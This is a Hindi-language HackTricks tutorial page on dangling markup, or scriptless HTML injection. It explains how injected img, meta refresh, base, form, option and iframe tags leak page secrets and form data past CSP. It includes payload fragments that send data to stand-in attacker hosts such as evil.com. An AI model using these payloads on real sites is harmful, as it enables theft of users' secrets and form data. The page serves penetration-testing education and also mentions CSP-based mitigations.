Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
यह तकनीक तब उपयोग की जा सकती है जब HTML injection पाया जाता है। यह बहुत उपयोगी है यदि आप कोई तरीका नहीं ढूंढते हैं XSS को शोषण करने के लिए लेकिन आप कुछ HTML टैग्स इंजेक्ट कर सकते हैं। यह तब भी उपयोगी है यदि कुछ गुप्त जानकारी स्पष्ट पाठ में HTML में सहेजी गई है और आप इसे exfiltrate करना चाहते हैं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हैं।
यहां टिप्पणी की गई कई तकनीकें कुछ Content Security Policy को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए उपयोग की जा सकती हैं।
यदि आप <img src='http://evil.com/log.cgi?
इंजेक्ट करते हैं जब पृष्ठ लोड होता है, तो पीड़ित आपको इंजेक्ट किए गए img
टैग और कोड के भीतर अगले उद्धरण के बीच का सभी कोड भेजेगा। यदि किसी तरह उस टुकड़े में एक गुप्त जानकारी स्थित है, तो आप इसे चुरा लेंगे (आप डबल उद्धरण का उपयोग करके भी यही कर सकते हैं, देखें कि कौन सा उपयोग करना अधिक दिलचस्प हो सकता है)।
यदि img
टैग निषिद्ध है (उदाहरण के लिए CSP के कारण) तो आप <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
का भी उपयोग कर सकते हैं।
ध्यान दें कि Chrome HTTP URLs को "<" या "\n" के साथ ब्लॉक करता है, इसलिए आप "ftp" जैसे अन्य प्रोटोकॉल स्कीमों को आजमा सकते हैं।
आप CSS @import
का भी दुरुपयोग कर सकते हैं (यह सभी कोड को भेजेगा जब तक कि यह ";" नहीं ढूंढ लेता)।
आप <table
का भी उपयोग कर सकते हैं:
आप <base
टैग भी डाल सकते हैं। सभी जानकारी तब तक भेजी जाएगी जब तक उद्धरण बंद नहीं हो जाता लेकिन इसके लिए कुछ उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है (उपयोगकर्ता को किसी लिंक पर क्लिक करना होगा, क्योंकि बेस टैग ने लिंक द्वारा इंगित डोमेन को बदल दिया होगा):
फिर, वे फॉर्म जो डेटा को पथ पर भेजते हैं (जैसे <form action='update_profile.php'>
) डेटा को दुर्भावनापूर्ण डोमेन पर भेजेंगे।
एक फॉर्म हेडर सेट करें: <form action='http://evil.com/log_steal'>
यह अगले फॉर्म हेडर को ओवरराइट करेगा और फॉर्म से सभी डेटा हमलावर को भेजा जाएगा।
बटन "formaction" विशेषता के साथ उस URL को बदल सकता है जहाँ फॉर्म की जानकारी भेजी जाएगी:
एक हमलावर इसका उपयोग जानकारी चुराने के लिए कर सकता है।
इस हमले का उदाहरण इस लेख में खोजें।
फार्म चुराने के लिए नवीनतम उल्लेखित तकनीक का उपयोग करते हुए (एक नया फॉर्म हेडर इंजेक्ट करना) आप फिर एक नया इनपुट फ़ील्ड इंजेक्ट कर सकते हैं:
और यह इनपुट फ़ील्ड HTML में इसके डबल कोट के बीच और अगले डबल कोट के बीच सभी सामग्री को समाहित करेगा। यह हमला "Stealing clear text secrets" को "Stealing forms2" के साथ मिलाता है।
आप एक फ़ॉर्म और एक <option>
टैग इंजेक्ट करके वही कर सकते हैं। सभी डेटा जब तक एक बंद </option>
नहीं मिल जाता, भेजा जाएगा:
आप एक फॉर्म के पथ को बदल सकते हैं और नए मान डाल सकते हैं ताकि एक अप्रत्याशित क्रिया की जाएगी:
<noscript></noscript>
एक टैग है जिसका सामग्री उस समय व्याख्यायित किया जाएगा जब ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता (आप chrome://settings/content/javascript में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।
एक तरीका है कि हम इंजेक्शन के बिंदु से लेकर नीचे तक वेब पृष्ठ की सामग्री को एक हमलावर द्वारा नियंत्रित साइट पर निकाल सकते हैं, यह इंजेक्ट करके:
इस portswiggers शोध से आप सीख सकते हैं कि सबसे अधिक CSP प्रतिबंधित वातावरणों से भी आप कुछ उपयोगकर्ता इंटरैक्शन के साथ डेटा निकाल सकते हैं। इस अवसर पर हम पेलोड का उपयोग करने जा रहे हैं:
ध्यान दें कि आप शिकार से एक लिंक पर क्लिक करने के लिए कहेंगे जो उसे पेलोड की ओर रीडायरेक्ट करेगा जिसे आप नियंत्रित करते हैं। यह भी ध्यान दें कि base
टैग के अंदर target
विशेषता में HTML सामग्री होगी अगली एकल उद्धरण तक।
इससे यह होगा कि यदि लिंक पर क्लिक किया जाता है तो window.name
का मान सभी HTML सामग्री होगा। इसलिए, चूंकि आप उस पृष्ठ को नियंत्रित करते हैं जहां शिकार लिंक पर क्लिक करके पहुंच रहा है, आप उस window.name
तक पहुंच सकते हैं और उस डेटा को एक्सफिल्ट्रेट कर सकते हैं:
HTML के अंदर एक नया टैग और आईडी डालें जो अगले को ओवरराइट करेगा और एक ऐसा मान होगा जो स्क्रिप्ट के प्रवाह को प्रभावित करेगा। इस उदाहरण में, आप यह चुन रहे हैं कि जानकारी किसके साथ साझा की जाएगी:
जावास्क्रिप्ट नामस्थान के अंदर वेरिएबल बनाने के लिए HTML टैग्स डालें। फिर, यह वेरिएबल एप्लिकेशन के प्रवाह को प्रभावित करेगा:
यदि आप एक JSONP इंटरफ़ेस पाते हैं, तो आप मनमाने डेटा के साथ एक मनमानी फ़ंक्शन को कॉल करने में सक्षम हो सकते हैं:
या आप कुछ जावास्क्रिप्ट चलाने की कोशिश भी कर सकते हैं:
एक चाइल्ड डॉक्यूमेंट अपने पैरेंट की location
प्रॉपर्टी को देखने और संशोधित करने की क्षमता रखता है, यहां तक कि क्रॉस-ओरिजिन स्थितियों में भी। यह एक iframe के भीतर एक स्क्रिप्ट को एम्बेड करने की अनुमति देता है जो क्लाइंट को किसी भी पृष्ठ पर रीडायरेक्ट कर सकता है:
यह कुछ इस तरह से कम किया जा सकता है: sandbox=' allow-scripts allow-top-navigation'
एक iframe का दुरुपयोग करके एक अलग पृष्ठ से संवेदनशील जानकारी लीक की जा सकती है iframe नाम विशेषता का उपयोग करके। इसका कारण यह है कि आप एक iframe बना सकते हैं जो स्वयं को iframe करता है, HTML इंजेक्शन का दुरुपयोग करते हुए जो संवेदनशील जानकारी को iframe नाम विशेषता के अंदर प्रदर्शित करता है और फिर उस नाम को प्रारंभिक iframe से एक्सेस करके लीक कर सकते हैं।
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
आप meta http-equiv
का उपयोग कई क्रियाएँ करने के लिए कर सकते हैं जैसे कि एक Cookie सेट करना: <meta http-equiv="Set-Cookie" Content="SESSID=1">
या एक रीडायरेक्ट करना (इस मामले में 5 सेकंड में): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
इसे CSP के साथ टाला जा सकता है जो http-equiv से संबंधित है ( Content-Security-Policy: default-src 'self';
, या Content-Security-Policy: http-equiv 'self';
)
आप <portal टैग की exploitable vulnerabilities पर एक बहुत दिलचस्प शोध यहाँ पा सकते हैं।
इस लेखन के समय आपको Chrome में chrome://flags/#enable-portals
पर portal टैग सक्षम करना होगा या यह काम नहीं करेगा।
HTML में कनेक्टिविटी लीक करने के सभी तरीके Dangling Markup के लिए उपयोगी नहीं होंगे, लेकिन कभी-कभी यह मदद कर सकता है। इन्हें यहाँ देखें: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
यह dangling markup और XS-Leaks के बीच का एक मिश्रण है। एक तरफ, यह भेद्यता HTML (लेकिन JS नहीं) को समान मूल के एक पृष्ठ में इंजेक्ट करने की अनुमति देती है, जिसे हम हमले का लक्ष्य बनाएंगे। दूसरी तरफ, हम उस पृष्ठ पर सीधा हमला नहीं करेंगे जहाँ हम HTML इंजेक्ट कर सकते हैं, बल्कि दूसरे पृष्ठ पर करेंगे।
SS-LeaksXS-Search साइड चैनल हमलों का दुरुपयोग करके क्रॉस-ओरिजिन जानकारी को एक्सफिल्ट्रेट करने के लिए उन्मुख हैं। इसलिए, यह Dangling Markup से एक अलग तकनीक है, हालाँकि, कुछ तकनीकें HTML टैग्स (JS निष्पादन के साथ और बिना) के समावेश का दुरुपयोग करती हैं, जैसे CSS Injection या Lazy Load Images.
XS-Search/XS-LeaksLearn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)